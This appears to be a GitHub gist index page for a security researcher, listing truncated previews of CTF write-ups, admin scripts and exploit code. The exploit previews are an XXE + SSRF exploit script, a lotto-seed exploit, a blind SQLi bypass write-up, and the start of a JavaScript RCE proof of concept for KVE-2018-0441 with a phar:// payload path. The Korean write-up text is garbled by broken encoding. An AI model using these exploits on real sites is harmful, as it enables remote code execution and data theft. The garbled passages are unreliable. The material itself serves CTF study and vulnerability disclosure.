Skip to content

Instantly share code, notes, and snippets.

View stypr's full-sized avatar
๐Ÿ†Ž**********************************
Be Lazy~

stypr

๐Ÿ†Ž**********************************
Be Lazy~
View GitHub Profile
@stypr
stypr / README.md
Last active June 22, 2019 15:47
ASIS CTF 2016 Finals: pentest (298pt)

pentest (298pt)

Solves: 1

This write-up was made per request of other players who were playing ASIS CTF.

Note: I solved this challenge before the hint was released. \o/

Description

@stypr
stypr / rdp.ps1
Last active August 17, 2019 19:58
How to convert HTTPS Certificates for RDP auth (using Caddy)
# derived from http://stackoverflow.com/questions/40046916/how-to-grant-permission-to-user-on-certificate-private-key-using-powershell
param (
[string]$certThumbprint = "NothingToDoHere"
)
$serviceAccount = 'NETWORK SERVICE'
$permissionType = 'Read'
try
{
Write-Host "Thumbprint: $certThumbprint"
#Clear Existing Variables
@stypr
stypr / patch.py
Last active August 3, 2019 16:59
Migrating old php files to newer versions
#!/usr/bin/python -u
#-*-coding: utf-8-*-
def list_directory(expression):
try:
_c = __import__("glob").glob(expression + "/*")
for i in xrange(len(_c)):
if "uploads" not in _c[i] and "userimage" not in _c[i] and "files" not in _c[i]:
_c.extend(list_directory(_c[i]))
return _c
except:
@stypr
stypr / README.md
Last active January 26, 2020 20:37
SecuInside 2017: Mathboy7 (415pt)

Mathboy7 (415pt)

ENCRYPT() ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด Random String์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Œ

encryption-functions from mysql.com

  1. ENCRYPT(x) ์‹œ ํ™•๋ฅ ์ƒ ๋ฌธ์ œ๋ฅผ ํ’€ ์ˆ˜ ์—†์ง€๋งŒ, salt ๊ฐ’์„ ์„ค์ •ํ•˜๋ฉด ์ฒซ๋ฒˆ์งธ ๋ช‡ ๊ธ€์ž ์ •๋„๋Š” ๊ฐ™๊ฒŒ ๋˜๋ฏ€๋กœ ํ™•๋ฅ ์ด ๊ต‰์žฅํžˆ ์ค„์–ด๋“ฌ.

  2. ENCRYPT(x,y) ์ถœ๋ ฅ์‹œ ๋‚˜์˜ค๋Š” ๊ฐ’์€ A-Za-z0-9./ ๋กœ ์ด๋ฃจ์–ด์ ธ์žˆ์–ด์„œ ํ™•๋ฅ ์ƒ ์–ด๋ ต์ง€๋งŒ, ๋ฌธ์ œ์—์„œ strtolower($var) ๋กœ ์ธํ•ด ํ™•๋ฅ ์ด 2์ฐจ์ ์œผ๋กœ ์ค„์–ด๋“ค์Œ.

@stypr
stypr / iptables-irccloud.sh
Created October 29, 2017 14:42
iptables configuration for connections between irssiproxy and irccloud
iptables -N irccloud
iptables -A irccloud --src 192.184.9.108 -j ACCEPT
iptables -A irccloud --src 192.184.9.110 -j ACCEPT
iptables -A irccloud --src 192.184.9.112 -j ACCEPT
iptables -A irccloud --src 192.184.10.118 -j ACCEPT
iptables -A irccloud --src 192.184.10.9 -j ACCEPT
iptables -A irccloud --src 170.178.187.131 -j ACCEPT
iptables -A irccloud --src 192.184.8.73 -j ACCEPT
iptables -A irccloud --src 192.184.8.103 -j ACCEPT
iptables -A irccloud -j DROP
@stypr
stypr / exploit.py
Created November 3, 2017 09:58
familiar (485pt) XXE + SSRF
#!/usr/bin/python -u
#-*- encoding: utf-8 -*-
import os
import sys
import requests
import json
from base64 import *
HOST = "core.eagle-jump.org"
@stypr
stypr / 9en3rat0r.php
Last active August 3, 2019 16:54
Lotto Exploit
<?php
function generator()
{
$PATH = "./s3cre7_fi1e";
$init_seed = 0;
if(!file_exists(realpath($PATH)))
{
$init_seed = $seed = intval(uniqid(),10);
$f = fopen($PATH,"w");
fwrite($f,$init_seed);
@stypr
stypr / README.md
Last active August 25, 2020 15:06
Blind SQLi 2018: Utilizing SQL standard to create payloads

There are several ways to bypass blind SQLi filters, and today I will introduce MySQL blind sqli payload using an insert() function.

Interestingly, the payload itself is limited to MySQL, but the technical side of this attack should be still valid in most SQL.

This attack is useful when typical substring filters (i.e. left(), right(), mid(), substr(), regexp(), strcmp(), concat() ... LIKE ... ) are blocked by the script.

TL;DR

@stypr
stypr / iptime_wol.py
Created February 13, 2018 07:12
iptime WOL in python
#!/usr/bin/python -u
#-*- coding: utf-8 -*-
# Developer: Harold Kim([email protected])
import os
import sys
import re
import requests
class iptime:
@stypr
stypr / attack_script.js
Last active August 3, 2019 16:47
KVE-2018-0441, KVE-2018-0449 RCE PoC (Windows Only)
// ์—…๋กœ๋“œํ•œ ํŒŒ์ผ์˜ ํŽ˜์ด๋กœ๋“œ.
// var payload = `phar://../data\\file/free/1062687231_CmB8gHok_143f7b739dcab1b6837abdfa39b0109467c35d51.gif/GIF89a.php`;
var payload = `[PAYLOAD_URL]`
// ๋จผ์ € ๊ณต๊ฒฉ์— ์•ž์„œ, ํ•ด๋‹น ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜๋Š” ๊ด€๋ฆฌ์ž์ธ์ง€ ํ™•์ธํ•œ๋‹ค.
$.get(`../qa_config.php`, function(d){
// ์ˆ˜์ •ํ•  ๊ณณ์€ โ€ํŒŒ์ผ ๊ฒฝ๋กœโ€œ ๊ฐ€ ๋“ค์–ด๊ฐ„ ๊ณณ์ด๋ฏ€๋กœ, ์ด ๋ถ€๋ถ„๋งŒ ์šฐ์„  ํ™•์ธํ•œ๋‹ค.
if(d.indexOf(`์ƒ๋‹จ ํŒŒ์ผ ๊ฒฝ๋กœ`) !== false){